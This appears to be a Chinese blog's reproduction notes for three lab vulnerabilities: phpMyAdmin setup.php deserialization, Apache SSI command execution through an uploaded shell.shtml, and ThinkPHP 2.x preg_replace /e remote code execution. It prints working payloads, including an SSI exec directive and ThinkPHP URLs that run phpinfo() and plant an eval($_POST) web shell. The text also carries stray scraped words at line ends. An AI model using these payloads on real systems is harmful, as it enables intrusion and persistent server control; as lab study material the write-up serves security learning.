漏洞原理:http://www.polaris-lab.com/index.php/archives/66/php
根據提示咱們先進入到 /scripts/setup.php 的目錄下 html
因爲 configuration 參數是可控的 因此咱們能夠根據 poc 或自行構造 web
而後這是咱們序列化後的結果 thinkphp
而後就復現成功了 shell
原理:瀏覽器
當目標服務器開啓了SSI與CGI支持,咱們就能夠上傳shtml文件,利用<!--#exec cmd="id" -->語法執行命令。服務器
什麼是ssispa
簡單的來講ssi能夠對靜態的html網頁進行動態的改動,咱們經過在靜態的html頁面中插入不一樣的內容,若是不利用ssi的話咱們須要對頁面改變就須要從新生成全部的靜態的html,可是若是有了ssi 的話服務器會根據嵌入文件自動生成網頁,輸出到瀏覽器,如要修改則只須要修改嵌入的文件.net
它們容許將動態生成的內容添加到現有HTML頁面,而無需經過CGI程序或其餘動態技術提供整個頁面。code
文章連接:https://blog.csdn.net/fdipzone/article/details/10820127
SHTML文件
.shtml 文件就是 html 文件加個 ssi
CGI支持
CGI是一個通用網關接口(CGI自己是一套協議和規範)
首先簡單的說一下web server 和 web應用程序之間的關係,這二者的關係就像手機和手機應用程序同樣。由於web server所處理的內容所有都是靜態的,因此若是想要處理動態的內容須要CGI的支持(須要依賴web應用程序)web server 依賴CGI協議將動態的請求傳給web應用程序進行處理,而後web應用程序處理完畢以後再經過cgi協議返回給web server(html靜態頁面)
這裏因爲咱們是要訪問上傳的那個文件的,因此坑定是動態的請求,這一過程是須要交給web應用程序去處理的,而後web應用程序將處理後的結果返回給web server
這裏我我的以爲我說的不夠清楚我後面會繼續進行修改
文章連接:https://www.jianshu.com/p/e5e471f368aa
https://blog.csdn.net/LiuNian_SiYu/article/details/60964966
最終結果以下圖
咱們經過上傳 內容爲
<!--#exec cmd="id" -->
的shell.shtml,而後訪問文件地址能夠發現成功
原理:
`preg_replace`的`/e`模式匹配路由致使用戶的輸入參數被插入雙引號中執行,形成任意代碼執行漏洞
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
/e 修正符使 preg_replace() 將 replacement 參數看成 PHP 代碼(在適當的逆向引用替換完以後)
有漏洞的是這個文件/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
125 – $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=」\\2″;’, implode($depr,$paths)); 125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=\’\\2\’;', implode($depr,$paths));
這是官方先後發佈的補丁,咱們能夠看到官方把 \\2\兩邊的雙引號變成了單引號
(這裏我搜了好多有關於thinkphp 2.x rce但文章可是發現好像都很難找到了,因此這裏有個疑問存留
如何知道是這個路徑下的問題 是經過代碼審計的嘛?
復現過程:
http://127.0.0.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`
既然咱們均可以執行任意命令了何不來個shell呢?(奸笑
http://127.0.0.1:8080/index.php/index.php?s=/index/index/name/${${@eval($_POST[1])}}
別的很少說了俺們直接蟻劍安排上!!